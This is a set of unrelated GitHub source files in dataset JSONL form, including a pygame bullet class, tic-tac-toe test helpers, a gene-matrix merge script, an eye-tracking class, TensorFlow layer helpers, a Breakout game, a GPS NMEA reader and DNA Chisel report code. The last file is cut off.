parent):\n\t\tself.super = super(Bullet, self)\n\t\tsuper(Bullet, self).__init__()\n\t\tself.parent = parent\n\t\tself.pos = Vector(int(parent.pos.x), int(parent.pos.y))\n\t\tif parent.facing_right:\n\t\t\tself.xvel = 4\n\t\telse:\n\t\t\tself.xvel = -4\n\t\tself.radius = 5\n\n\tdef update(self):\n\t\tself.pos.x += self.xvel\n\n\t\t# check collisions with AABBS for now\n\t\t# (works ok as long as bullet isn't too big)\n\t\tleft = self.pos.x - self.radius\n\t\tright = self.pos.x + self.radius\n\t\ttop = self.pos.y - self.radius\n\t\tbottom = self.pos.y + self.radius\n\n\t\tfor tile in self.parent.level.tiles:\n\t\t\ttile_left = tile.pos.x - tile.size.x / 2\n\t\t\ttile_right = tile.pos.x + tile.size.x / 2\n\t\t\ttile_top = tile.pos.y - tile.size.y / 2\n\t\t\ttile_bottom = tile.pos.y + tile.size.y / 2\n\n\t\t\tl = left >= tile_left and left <= tile_right\n\t\t\tr = right >= tile_left and right <= tile_right\n\t\t\tt = top >= tile_top and top <= tile_bottom\n\t\t\tb = bottom >= tile_top and bottom <= tile_bottom\n\t\t\t\n\t\t\tif (l or r) and (t or b):\n\t\t\t\tself.parent.entities.remove(self)\n\t\t\t\tbreak\n\n\n\t\tfor enemy in self.parent.level.enemies:\n\t\t\tenemy_size = enemy.get_size()\n\t\t\tenemy_left = enemy.pos.x - enemy_size.x / 2\n\t\t\tenemy_right = enemy.pos.x + enemy_size.x / 2\n\t\t\tenemy_top = enemy.pos.y - enemy_size.y / 2\n\t\t\tenemy_bottom = enemy.pos.y + enemy_size.y / 2\n\n\t\t\tl = left >= enemy_left and left <= enemy_right\n\t\t\tr = right >= enemy_left and right <= enemy_right\n\t\t\tt = top >= enemy_top and top <= enemy_bottom\n\t\t\tb = bottom >= enemy_top and bottom <= enemy_bottom\n\t\t\t\n\t\t\tif (l or r) and (t or b):\n\t\t\t\tenemy.set_state('dead')\n\t\t\t\tself.parent.entities.remove(self)\n\t\t\t\tbreak\n\n\tdef render(self):\n\t\tpygame.draw.circle(self.parent.screen, color.BLACK, self.pos.list(), self.radius)\n","repo_name":"PandaConda/chaos-chamber","sub_path":"src/bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70089909363","text":"# 3.7 ~ 3.9 の Python のバージョンでエラーが発生しないようにするためのインポート\nfrom __future__ import annotations\nfrom marubatsu import Marubatsu\n \ndef test_judge(testcases):\n \"\"\" Marubastu クラスの judge メソッドのテスト\n \n Args:\n testcases:\n テストケースの list\n 下記は、list 内の各テストケース を testcase と表記した場合のデータ構造\n testcase[0]: \n * 着手するマスの座標を表す Excel 座標を \",\" で区切って連結した下記のような文字列\n \"A1,A2,A3\"\n * Excel 座標の順番は、着手を行う順番に対応する\n * マスの座標は、\"A1\" のような文字列(Excel 座標)で表現する\n testcase[1]:\n 期待される judge メソッドの返り値\n \"\"\"\n \n for testcase in testcases:\n testdata, winner = testcase\n mb = Marubatsu()\n for coord in testdata.split(\",\"):\n x, y = excel_to_xy(coord) \n mb.move(x, y)\n print(mb)\n\n if mb.judge() == winner:\n print(\"ok\")\n else:\n print(\"error!\")\n \ndef excel_to_xy(coord: str) -> tuple(int):\n \"\"\" Excel 座標を xy 座標に変換する.\n \n \"A1\" のような、文字列で表現される Excel 座標を、\n (x, y) のような tuple で表現される xy 座標に変換した値を返す\n\n Args:\n coord:\n \"A1\" のような、文字列で表現されるExcel 座標\n ただし、x 座標は、\"A\"、\"B\"、\"C\" のいずれかのみとする \n \n Returns:\n x 座標と y 座標を要素として持つ tuple\n \"\"\"\n x, y = coord\n return \"ABC\".index(x), int(y) - 1 \n\n\n# 以下、その 28 で紹介したが採用しなかったさまざまな 関数の定義\n# なお、docstring は省略する\n\ndef excels_to_list(excels):\n excel_list = []\n # excels の先頭から 2 文字ずつ文字を取り出す繰り返し処理\n for i in range(0, len(excels), 2):\n # i 文字目と、i + 1 文字目を連結した 2 文字を取り出す\n excel = excels[i] + excels[i + 1]\n excel_list.append(excel)\n return excel_list\n\ndef excels_to_list_2(excels):\n excel_list = []\n # excels の先頭から 2 文字ずつ文字を取り出す繰り返し処理\n for i in range(0, len(excels), 2):\n # i 文字目から 2 文字分を取り出す\n excel = excels[i:i+2]\n excel_list.append(excel)\n return excel_list\n\ndef excels_to_list_3(excels):\n excel_list = [ excels[i:i+2] for i in range(0, len(excels), 2) ]\n return excel_list\n\n# Excel 座標を間を区切らずに連結したデータ構造に対する test_judge\ndef test_judge_1(testcases):\n for testcase in testcases:\n testdata, winner = testcase\n mb = Marubatsu()\n for coord in excels_to_list(testdata):\n x, y = excel_to_xy(coord) \n mb.move(x, y)\n print(mb)\n\n if mb.judge() == winner:\n print(\"ok\")\n else:\n print(\"error!\")","repo_name":"ysgeso/marubatsu","sub_path":"028/test_new.py","file_name":"test_new.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19600942419","text":"import glob\nimport argparse\nimport os\nimport sys\nparser = argparse.ArgumentParser(description='Merge matrices from phASER geneAE together')\nparser.add_argument('matrix_rootdir', help='Rootdir where all matrices can be found. Will walk through subdirs and use all *.geneCounts.txt, *.totalDepth.txt, and *.alleleCounts.txt files')\nparser.add_argument('out_prefix', help='Write output to .geneCounts.txt, .totalDepth.txt, and .alleleCounts.txt')\n\nargs = parser.parse_args()\n\ndef flush_print(message):\n print(message)\n sys.stdout.flush()\n\n\n\nflush_print('Combining matrix files from '+args.matrix_rootdir)\nflush_print('Writing results to '+args.out_prefix)\n\nflush_print('Start combining...')\n\ngene_counts = {}\ntotal_depth = {}\nallele_counts = {}\nsample_names = set([])\nsample_names_alleleCounts = set([])\ngenes = set([])\nflush_print('reading data')\nx = 0\nfor subdir, dirs, files in os.walk(args.matrix_rootdir):\n flush_print(subdir)\n for file in files:\n if not file.endswith('.txt'):\n continue\n matrix_file = subdir+'/'+file\n with open(matrix_file) as input_file:\n header = input_file.readline().strip()\n if len(header) == 0:\n continue\n samples = header.split('\\t')\n sample_index = {}\n for index,sample in enumerate(samples):\n if file.endswith('alleleCounts.txt'):\n if sample not in allele_counts:\n allele_counts[sample] = {}\n sample_names_alleleCounts.add(sample)\n elif sample not in gene_counts:\n gene_counts[sample] = {}\n total_depth[sample] = {}\n sample_names.add(sample)\n sample_index[index] = sample\n\n for line in input_file:\n line = line.strip().split('\\t')\n gene = line[0]\n genes.add(gene)\n for index, element in enumerate(line[1:]):\n if file.endswith('alleleCounts.txt'):\n allele_counts[sample_index[index]][gene] = element \n elif file.endswith('geneCounts.txt'):\n# if gene in gene_counts[sample_index[index]]:\n# raise RuntimeError('Each gene should only occur once per sample, '+gene+' happened twice for '+sample)\n print(gene)\n gene_counts[sample_index[index]][gene] = element\n elif file.endswith('totalDepth.txt'):\n total_depth[sample_index[index]][gene] = element\n elif file.endswith('snps.txt'):\n #not implemented yet\n continue\n else:\n raise RuntimeError('Wrong ending of input file for '+file)\n\n\nflush_print('Filling in values for samples that do not include all genes')\nfor gene in list(genes):\n for name in sample_names:\n if gene not in gene_counts[name]:\n gene_counts[name][gene] = 'inf'\n total_depth[name][gene] = 0\n for name in sample_names_alleleCounts:\n if gene not in allele_counts[name]:\n allele_counts[name][gene] = 0\n\n\n\nflush_print('writing data')\nwith open(args.out_prefix+'.geneCounts.txt','w') as outLog2_aFC, open(args.out_prefix+'.totalDepth.txt','w') as outTotalCount:\n with open(args.out_prefix+'.alleleCounts.txt','w') as outAlleleCounts:\n for name in sorted(sample_names):\n outLog2_aFC.write('\\t'+name)\n outTotalCount.write('\\t'+name)\n for name in sorted(sample_names_alleleCounts):\n outAlleleCounts.write('\\t'+name)\n outLog2_aFC.write('\\n')\n outTotalCount.write('\\n')\n outAlleleCounts.write('\\n')\n for gene in sorted(genes):\n outLog2_aFC.write(gene)\n outTotalCount.write(gene)\n outAlleleCounts.write(gene)\n for name in sorted(sample_names):\n outLog2_aFC.write('\\t'+str(gene_counts[name][gene]))\n outTotalCount.write('\\t'+str(total_depth[name][gene]))\n for name in sorted(sample_names_alleleCounts):\n outAlleleCounts.write('\\t'+str(allele_counts[name][gene]))\n outLog2_aFC.write('\\n')\n outTotalCount.write('\\n')\n outAlleleCounts.write('\\n')\n","repo_name":"npklein/random_scripts","sub_path":"genetics/ASE/merge_geneAE_matrices.py","file_name":"merge_geneAE_matrices.py","file_ext":"py","file_size_in_byte":4455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11059953007","text":"n=int(input())\r\na=[]\r\nfor i in range(n):\r\n \r\n a.append(int(input()))\r\nmax=1\r\nfor i in range(n):\r\n if (a[i]%2==0):\r\n max=a[i]\r\n break\r\nfor j in range(i+1,n):\r\n if (a[j]%2==0)and (a[j]>max):\r\n max=a[j]\r\nprint('a:',a)\r\nif max!=1:\r\n print(max)\r\nelse:\r\n print('Четных элементов нет')\r\n","repo_name":"vladcernyh91692/python","sub_path":"11.1. 6пр.py","file_name":"11.1. 6пр.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32341672888","text":"import pandas as pd\nimport time\nfrom math import hypot\nfrom pyEyeTrack.DataHandling import QueueHandling\nfrom pyEyeTrack.EyeTracking.BlinkingClass import Blinking\nfrom pyEyeTrack.EyeTracking.PupilTrackingClass import PupilTracking\nfrom pyEyeTrack.EyeTracking.AbstractEyeTrackingClass import EyeTracking\n\n\nclass PupilBlinking(Blinking, PupilTracking, EyeTracking):\n\n \"\"\"\n A subclass of EyeTracking that does blink detection and \n pupil-tracking.\n\n Methods:\n functionality(frame)\n Implements pupil tracking and blink detection for a \n given frame.\n csv_writer(file_name)\n Generates a .csv file with the timestamp,pupil center and \n blink detection for both eyes.\n \"\"\"\n\n def __init__(self, source):\n super().__init__(source)\n # dictionary to store the location of the pupil center, \n # blink and the corresponding timestamp\n # stores the blink ratio everytime the subject blinks\n self.eye_data_log = {\n \"Timestamps\": [],\n \"Left_Eye_X\": [],\n \"Left_Eye_Y\": [],\n \"Right_Eye_X\": [],\n \"Right_Eye_Y\": [],\n \"Blink\": []}\n # intialized queue to do real-time data transfer\n self.queue_handler = QueueHandling()\n\n def functionality(self, frame):\n \"\"\"\n This method overrides the method in the superclass. \n This method gets the blink ratios for both the eyes and \n calculates the average blink ratio.\n\n If the value of the average blink ratio is greater than the \n BLINK_RATIO_THRESHOLD,we presume that the subject blinked. \n Here, we set the value of the 'Blink' field in the dictonary \n to 'False'.We add the data to the dictonary as well as the \n queue to facilitate real-time data transfer. \n The values of the pupil centers are set to 0 when the \n subject is blinking.\n\n If the blink ratio is less than the BLINK_RATIO_THRESHOLD,\n we calcute the location of the pupil center for both the eyes.\n Once the pupil centers are acquired we append them in eye_data_log\n dictonary along with the timestamp. \n Here, we set the 'Blink' field in the dictonary to 'False'. \n We also add this data to the queue for real-time data transfer.\n\n Finally, we also toggle the close_flag if the string 'Stop' is \n found in the queue. This can be used by the user to\n stop the application.\n\n Args:\n frame (numpy array): it is the frame in the video or \n captured by the camera\n \"\"\"\n\n left_eye_ratio = self.get_blink_ratio(\n [36, 37, 38, 39, 40, 41], self.landmarks)\n right_eye_ratio = self.get_blink_ratio(\n [42, 43, 44, 45, 46, 47], self.landmarks)\n blink_ratio = (left_eye_ratio + right_eye_ratio) / 2\n\n if blink_ratio > self.BLINK_RATIO_THRESHOLD:\n timestamp_blinking = time.time()\n self.eye_data_log[\"Timestamps\"].append(timestamp_blinking)\n self.eye_data_log[\"Left_Eye_X\"].append(0)\n self.eye_data_log[\"Left_Eye_Y\"].append(0)\n self.eye_data_log[\"Right_Eye_X\"].append(0)\n self.eye_data_log[\"Right_Eye_Y\"].append(0)\n self.eye_data_log[\"Blink\"].append(True)\n blink_data = (timestamp_blinking, 0, 0, 0, 0, True)\n self.queue_handler.add_data(blink_data)\n else:\n\n landmarks_coordinates_left_eye = self.detect_eye(\n [36, 37, 38, 39, 40, 41], self.landmarks)\n landmarks_coordinates_right_eye = self.detect_eye(\n [42, 43, 44, 45, 46, 47], self.landmarks)\n\n pupil_center_left_eye = self.get_pupil_center_coordinates(\n landmarks_coordinates_left_eye, 0, frame)\n pupil_center_right_eye = self.get_pupil_center_coordinates(\n landmarks_coordinates_right_eye, 0, frame)\n timestamp_pupil_centers = time.time()\n\n self.eye_data_log[\"Timestamps\"].append(timestamp_pupil_centers)\n self.eye_data_log[\"Left_Eye_X\"].append(pupil_center_left_eye[0])\n self.eye_data_log[\"Left_Eye_Y\"].append(pupil_center_left_eye[1])\n self.eye_data_log[\"Right_Eye_X\"].append(pupil_center_right_eye[0])\n self.eye_data_log[\"Right_Eye_Y\"].append(pupil_center_right_eye[1])\n self.eye_data_log[\"Blink\"].append(False)\n pupil_center_data = (\n timestamp_pupil_centers,\n pupil_center_left_eye[0],\n pupil_center_left_eye[1],\n pupil_center_right_eye[0],\n pupil_center_right_eye[1],\n False)\n self.queue_handler.add_data(pupil_center_data)\n\n if self.queue_handler.search_element('Stop'):\n self.close_flag = True\n\n def csv_writer(self, file_name):\n \"\"\"\n Generates a .csv file with the timestamp and pupil centers with \n the given file name.\n\n Args:\n file_name (string): name of the .csv file to be generated.\n \"\"\"\n file_name = file_name + \".csv\"\n DF = pd.DataFrame(self.eye_data_log)\n DF.to_csv(file_name)\n\n def start(self):\n return super().start()\n","repo_name":"algoasylum/pyEyeTrack","sub_path":"pyEyeTrack/EyeTracking/PupilBlinkingClass.py","file_name":"PupilBlinkingClass.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"75"} +{"seq_id":"443233322","text":"import tensorflow as tf\nimport numpy as np\n\ndef tf_flatten(x, debug=False):\n flattened = tf.contrib.layers.flatten(x) \n \n if debug:\n print(\"tf_flatten:\")\n print(\"\\tFlattened \", x.shape, \" to \", flattened.shape)\n print(\"\\n\")\n \n return flattened\n\ndef tf_flatten_combine(x1, x2, debug=False):\n if debug:\n print(\"tf_flatten_combine: (showing internal functions)\")\n print(\"\\n\")\n \n # flatten each input\n f1 = tf_flatten(x1, debug=debug)\n f2 = tf_flatten(x2, debug=debug)\n \n # combine each input together\n combined = tf.concat([f1, f2], axis=1) # tensor flow docs: https://www.tensorflow.org/api_docs/python/tf/concat\n \n if debug:\n print(\"\\n\")\n print(\"\\ttf_flatten_combine output: \", combined.shape)\n print(\"\\n\")\n\n return combined\n \ndef conv2d(x, filter_dim, stride=1, w_mean=0, w_stddev=0.1, relu=False, debug=False):\n padding = 'VALID'\n \n input_dim = (x.shape[1].value, x.shape[2].value, x.shape[3].value)\n\n # Filter (weights and bias)\n F_W = tf.Variable(tf.truncated_normal((filter_dim[0], filter_dim[1], input_dim[2], filter_dim[2]), mean=w_mean, stddev=w_stddev))\n F_b = tf.Variable(tf.zeros(filter_dim[2]))\n strides = [1, stride, stride, 1]\n \n conv = tf.nn.conv2d(x, F_W, strides, padding) + F_b\n \n if debug:\n print(\"conv2d:\")\n print(\"\\tFilter: \", filter_dim[0], \"x\", filter_dim[1], \"x\", filter_dim[2])\n print(\"\\tStride: (\" + str(stride) + \", \" + str(stride) + \")\")\n print(\"\\tInput : \", x.shape)\n print(\"\\tOutput: \", conv.shape)\n print(\"\\n\")\n \n # Apply ReLU Activation Function if parameter set to True (False by default)\n if relu:\n return tf.nn.relu(conv)\n else:\n return conv\n\ndef fullyConnectedLayer(x, n_output, w_mean=0, w_stddev=0.1, relu=False, debug=False):\n n_input = x.shape[1].value\n\n fc_W = tf.Variable(tf.truncated_normal(shape=(n_input, n_output), mean=w_mean, stddev=w_stddev))\n fc_b = tf.Variable(tf.zeros(n_output))\n \n fc = tf.matmul(x, fc_W) + fc_b\n\n if debug:\n print(\"fullyConnectedLayer:\")\n print(\"\\tInput : \", x.shape)\n print(\"\\tOutput: \", fc.shape)\n print(\"\\n\")\n \n # Apply ReLU Activation Function if parameter set to True (False by default)\n if relu:\n return tf.nn.relu(fc)\n else:\n return fc\n \ndef maxpool2d(x, k=2, stride=1, debug=False):\n pooled = tf.nn.max_pool(\n x,\n ksize=[1, k, k, 1],\n strides=[1, stride, stride, 1],\n padding='VALID')\n \n if debug:\n print(\"maxpool2d:\")\n print(\"\\tKSize : (\" + str(k) + \", \" + str(k) + \")\")\n print(\"\\tStride: (\" + str(stride) + \", \" + str(stride) + \")\")\n print(\"\\tInput : \", x.shape)\n print(\"\\tOutput: \", pooled.shape)\n print(\"\\n\")\n \n return pooled\n\ndef maxpool_dropout(x, drop_rate=0.5, k=2, stride=1, debug=False):\n out = maxpool2d(x=x, k=k, stride=stride, debug=debug)\n\n if debug:\n print(\"* applied dropout of \", drop_rate)\n print(\"\\n\")\n \n return tf.layers.dropout(out, rate=drop_rate)","repo_name":"KaneRodriguez/CarND-Traffic-Sign-Classifier-Project","sub_path":"tf_helper.py","file_name":"tf_helper.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"41097297395","text":"# https://practice.geeksforgeeks.org/problems/7995e41d167d81f14f1d4194b29ef839f52d18ba/1\nfrom typing import List\n\nclass Solution:\n def minimumTime(self, N : int, cur : int, pos : List[int], time : List[int]) -> int:\n minTime = abs(cur - pos[0])*time[0]\n for i in range(1,N):\n dis = abs(cur - pos[i])*time[i]\n minTime = min(minTime,dis)\n return minTime\n \n\n","repo_name":"chayan-1906/GFG-Competitive-Programming","sub_path":"Python/TaxiBooking.py","file_name":"TaxiBooking.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71974955443","text":"\"\"\"\r\nstanCode Breakout Project\r\nAdapted from Eric Roberts's Breakout by\r\nSonja Johnson-Yu, Kylie Jue, Nick Bowman,\r\nand Jerry Liao.\r\n\r\nYOUR DESCRIPTION HERE\r\n\"\"\"\r\nfrom campy.graphics.gwindow import GWindow\r\nfrom campy.graphics.gobjects import GOval, GRect, GLabel\r\nfrom campy.gui.events.mouse import onmouseclicked, onmousemoved\r\nimport random\r\n\r\nBRICK_SPACING = 5 # Space between bricks (in pixels). This space is used for horizontal and vertical spacing\r\nBRICK_WIDTH = 40 # Width of a brick (in pixels)\r\nBRICK_HEIGHT = 15 # Height of a brick (in pixels)\r\nBRICK_ROWS = 10 # Number of rows of bricks\r\nBRICK_COLS = 10 # Number of columns of bricks\r\nBRICK_OFFSET = 50 # Vertical offset of the topmost brick from the window top (in pixels)\r\nBALL_RADIUS = 10 # Radius of the ball (in pixels)\r\nPADDLE_WIDTH = 75 # Width of the paddle (in pixels)\r\nPADDLE_HEIGHT = 15 # Height of the paddle (in pixels)\r\nPADDLE_OFFSET = 50 # Vertical offset of the paddle from the window bottom (in pixels)\r\nINITIAL_Y_SPEED = 7 # Initial vertical speed for the ball\r\nMAX_X_SPEED = 5 # Maximum initial horizontal speed for the ball\r\nNUM_LIVES = 3 # Number of attempts\r\n\r\n\r\nclass BreakoutGraphics:\r\n\r\n def __init__(self, ball_radius=BALL_RADIUS, paddle_width=PADDLE_WIDTH, paddle_height=PADDLE_HEIGHT,\r\n paddle_offset=PADDLE_OFFSET, brick_rows=BRICK_ROWS, brick_cols=BRICK_COLS, brick_width=BRICK_WIDTH,\r\n brick_height=BRICK_HEIGHT, brick_offset=BRICK_OFFSET, brick_spacing=BRICK_SPACING, num_lives = NUM_LIVES, title='Breakout'):\r\n\r\n \"\"\"\r\n Instance variables we need for setting up the game.\r\n \"\"\"\r\n self.paddle_os = paddle_offset\r\n self.brick_os = brick_offset\r\n self.brick_s = brick_spacing\r\n self.click_flag = False\r\n self.total_bricks = brick_rows * brick_cols\r\n self.num_lives = num_lives\r\n self.score = 0\r\n\r\n # Create a graphical window, with some extra space\r\n window_width = brick_cols * (brick_width + brick_spacing) - brick_spacing\r\n window_height = brick_offset + 3 * (brick_rows * (brick_height + brick_spacing) - brick_spacing)\r\n self.window = GWindow(width=window_width, height=window_height, title=title)\r\n\r\n # Create a paddle\r\n self.paddle = GRect(width=paddle_width, height=paddle_height)\r\n self.paddle.filled = True\r\n self.window.add(self.paddle, x=(self.window.width-self.paddle.width)/2, y=self.window.height-paddle_offset)\r\n\r\n # Center a filled ball in the graphical window\r\n self.ball = GOval(ball_radius*2, ball_radius*2)\r\n self.ball.filled = True\r\n self.window.add(self.ball, x=(self.window.width-self.ball.width)/2, y=(self.window.height-self.ball.height)/2)\r\n\r\n # A label to check lives remaining\r\n self.lives_remaining = GLabel('Lives: ' + str(self.num_lives), x=0, y=window_height)\r\n self.lives_remaining.color = 'black'\r\n self.lives_remaining.font = '-20'\r\n self.window.add(self.lives_remaining)\r\n\r\n # Create a scoreboard\r\n self.scoreboard = GLabel('Score: ' + str(self.score))\r\n self.scoreboard.color = 'black'\r\n self.scoreboard.font = '-20'\r\n self.window.add(self.scoreboard, x=window_width-self.scoreboard.width-30, y=window_height)\r\n\r\n # Default initial velocity for the ball\r\n self.__dx = 0\r\n self.__dy = 0\r\n\r\n # Initialize our mouse listeners\r\n onmouseclicked(self.ball_drop)\r\n onmousemoved(self.paddle_move)\r\n\r\n # Draw bricks\r\n self.create_bricks(brick_rows, brick_cols, brick_width, brick_height, brick_spacing, brick_offset)\r\n\r\n \"\"\"\r\n Instance method for creating rows of blocks with different colors.\r\n \"\"\"\r\n def create_bricks(self, row_num, col_num, brick_w, brick_h, brick_s, brick_o):\r\n for i in range(col_num):\r\n for j in range(row_num):\r\n brick = GRect(width=brick_w, height=brick_h)\r\n brick.filled = True\r\n if j < 2:\r\n brick.fill_color = 'red'\r\n elif j < 4:\r\n brick.fill_color = 'orange'\r\n elif j < 6:\r\n brick.fill_color = 'yellow'\r\n elif j < 8:\r\n brick.fill_color = 'green'\r\n else:\r\n brick.fill_color = 'blue'\r\n\r\n self.window.add(brick, x=i*brick_w+(i-1)*brick_s, y=brick_o+j*brick_h+(j-1)*brick_s)\r\n\r\n def paddle_move(self, mouse_move):\r\n self.window.add(self.paddle, x=mouse_move.x-self.paddle.width/2, y=self.window.height-self.brick_os)\r\n if mouse_move.x <= self.paddle.width/2:\r\n self.paddle.x = 0\r\n elif mouse_move.x >= self.window.width - self.paddle.width/2:\r\n self.paddle.x = self.window.width - self.paddle.width\r\n\r\n \"\"\"\r\n Define the ball movement after a click\r\n \"\"\"\r\n def ball_drop(self, mouse_click):\r\n if not self.click_flag:\r\n self.click_flag = True\r\n self.__dy = INITIAL_Y_SPEED\r\n self.__dx = random.randint(1, MAX_X_SPEED)\r\n if random.random() > 0.5:\r\n self.__dx = - self.__dx\r\n\r\n def reset_ball(self):\r\n self.window.add(self.ball, x=(self.window.width - self.ball.width) / 2,\r\n y=(self.window.height - self.ball.height) / 2)\r\n\r\n def get_dx(self):\r\n return self.__dx\r\n\r\n def get_dy(self):\r\n return self.__dy\r\n","repo_name":"ytsun88/stanCodeProjects","sub_path":"Projects/break_out_game/breakoutgraphics.py","file_name":"breakoutgraphics.py","file_ext":"py","file_size_in_byte":5557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26997492928","text":"\n\nfrom pynmea import nmea\nimport serial, time, sys, threading, datetime, shutil\n######Global Variables#####################################################\n# you must declare the variables as 'global' in the fxn before using#\nser = 0\nlat = 0\nlong = 0\npos_x = 0\npos_y = 0\ni = 0 #x units for altitude measurment\n\n#adjust these values based on your location and map, lat and long are in decimal degrees\nBAUDRATE = 4800\nlat_input = 0 #latitude of home marker\nlong_input = 0 #longitude of home marker\n\n######FUNCTIONS############################################################ \n\ndef check_serial():\n\tprint ('Sam is assuming you plugged in the USB receiver. I will ask you what port you plugged it into now :D')\n\tinit_serial()\n\t\ndef init_serial():\n\t#opens the serial port based on the COM number you choose\n\tprint (\"Found Ports:\")\n\t#for n,s in scan():\n # print(\"HERE\")\n#\t\tprint \"%s\" % s\n\t#print \" \"\n \n \n\t#enter your COM port number\n\tprint (\"Choose a COM port #. Enter # only, then enter\")\n\ttemp = input() #waits here for keyboard input\n\tif temp == 'e':\n\t\tsys.exit()\n\tcomnum = '/dev/ttyUSB' + temp #concatenate COM and the port number to define serial port\n\n\t# configure the serial connections \n\tglobal ser, BAUDRATE\n\tser = serial.Serial()\n\tser.baudrate = BAUDRATE\n\tser.port = comnum\n\tser.timeout = 1\n\tser.open()\n\tser.isOpen()\n\t\n\t#Prints menu and asks for input\n\tglobal lat_input, long_input\n\n\tprint ('OPEN: '+ ser.name)\n\tprint ('')\n\t\n\t#can be used to enter positions through the user interface\n\t#print 'enter your home position'\n\t#print '4001.54351'\n\t#print 'Lat<' \n\t#plat = input()\n\t#lat_input = float(plat)\n\t#print '-10517.3005'\n\t#print 'Long<' \n\t#plong = input()\n\t#long_input = float(plong)\n\ndef scan():\n #scan for available ports. return a list of tuples (num, name)\n available = []\n for i in range(256):\n try:\n s = serial.Serial(str(i))\n available.append( (i, s.name))\n s.close() # explicit close 'cause of delayed GC in java\n except serial.SerialException:\n pass\n \n return available \n\t\t\n########START#####################################################################################\ncheck_serial()\n\n#main program loop\nwhile 1:\n\ttry:\n\t\tdata = ser.readline()\n#\t\tprint(ser.readline())\n\t\tdata = data.decode(\"utf-8\")\n\t\tif (data[0:6] == '$GPGGA'):\n#\t\t\t\n\t\t\tgpgga = nmea.GPGGA()\n\t\t\tgpgga.parse(data)\n#\t\t\tprint(gpgga.latitude)\n#\t\t\tprint(gpgga.longitude)\n\t\n\t\t\tlats = gpgga.latitude\n\t\t\tlongs = gpgga.longitude\n\n\t\t\t#convert degrees,decimal minutes to decimal degrees \n\t\t\tlat1 = (float(lats[2]+lats[3]+lats[4]+lats[5]+lats[6]+lats[7]+lats[8]))/60\n\t\t\tlat = (float(lats[0]+lats[1])+lat1)\n\t\t\tlong1 = (float(longs[3]+longs[4]+longs[5]+longs[6]+longs[7]+longs[8]+longs[9]))/60\n\t\t\tlong = (float(longs[0]+longs[1]+longs[2])+long1)\n\t\n\t\t\t#calc position\n\t\t\tpos_y = lat\n\t\t\tpos_x = -long #longitude is negaitve\n\t\t\t\t\n\t\t\t#shows that we are reading through this loop\n\t\t\tprint(pos_x)\n\t\t\tprint(pos_y)\n\t\t\n\texcept:\n\t\tprint('Ifailed')\nser.close()\n#sys.exit()\n","repo_name":"kburd/seniorDesign","sub_path":"Donkey/WGetLatLong.py","file_name":"WGetLatLong.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"21948163942","text":"\"\"\"Misc. plotting and reporting methods, some of which are really arbitrary.\n\n\nHere is a typical example of use:\n\n>>> import dnachisel.reports.constraint_reports as cr\n>>> dataframe = cr.constraints_breaches_dataframe(constraints, sequences)\n>>> dataframe.to_excel(\"output_breaches.xlsx\")\n>>> records = cr.records_from_breaches_dataframe(dataframe, sequences)\n>>> cr.breaches_records_to_pdf(records, 'output_breaches_plots.pdf')\n\"\"\"\n\nfrom copy import deepcopy\nimport re\nfrom io import BytesIO\n\nimport proglog\n\nfrom ...biotools import sequence_to_biopython_record, annotate_record\nfrom ...builtin_specifications import (\n EnforceGCContent,\n AvoidPattern,\n AvoidHairpins,\n)\nfrom ..colors_cycle import colors_cycle\n\nfrom .GraphicTranslator import GraphicTranslator\n\ntry:\n import matplotlib.pyplot as plt\n from matplotlib.backends.backend_pdf import PdfPages\n MPL_AVAILABLE = True\nexcept ImportError:\n MPL_AVAILABLE = False\n\ndef _sequences_to_new_records(sequences):\n \"\"\"Turn acceptable sequences input into a records list.\n\n Acceptable formats are\n - ('name', 'sequence')\n - {'name': 'sequence'}\n - [records] (will be deepcopied)\n \"\"\"\n if isinstance(sequences, dict):\n sequences = list(sequences.items())\n records = []\n for seq in sequences:\n if hasattr(seq, \"id\"):\n records.append(deepcopy(seq))\n else:\n name, seq = seq\n records.append(\n sequence_to_biopython_record(seq, id=name, name=name)\n )\n return records\n\n\ndef _parse_location(location_string):\n \"\"\"Parses locations like 235-350(+)\"\"\"\n location_regex = r\"(\\d+)-(\\d+)(\\(+\\)|\\(-\\)|)\"\n match = re.match(location_regex, location_string.strip())\n start, end, strand = match.groups()\n return int(start), int(end), -1 if strand == \"(-)\" else 1\n\n\n\ndef records_from_breaches_dataframe(dataframe, sequences):\n \"\"\"Generate records with annotations indicating constraints breaches.\n \n Parameters\n ----------\n\n dataframe\n A breaches dataframe returned by ``constraints_breaches_dataframe``\n \n sequences\n Either a list [(\"name\", \"sequence\")...] or a dict {\"name\": \"sequence\"}\n or a list of biopython records whole id is the sequence name.\n\n \"\"\"\n records = _sequences_to_new_records(sequences)\n for record in records:\n record.features = [\n f\n for f in record.features\n if not f.qualifiers.get(\"is_a_breach\", False)\n ]\n colors_cycle_iterator = colors_cycle()\n columns_colors = {\n c: next(colors_cycle_iterator) for c in dataframe.columns\n }\n for rec, (i, row) in zip(records, dataframe.iterrows()):\n for column in dataframe.columns:\n locations = row[column]\n if not locations:\n continue\n for location in locations.split(\",\"):\n annotate_record(\n rec,\n location=_parse_location(location),\n label=column,\n color=columns_colors[column],\n ApEinfo_fwdcolor=columns_colors[column],\n ApEinfo_revcolor=columns_colors[column],\n is_a_breach=True,\n )\n return records\n\n\ndef plot_breaches_record(record, ax=None, figure_width=10):\n translator = GraphicTranslator()\n graphic_record = translator.translate_record(record)\n ax, _ = graphic_record.plot(\n ax=ax, figure_width=figure_width, strand_in_label_threshold=7\n 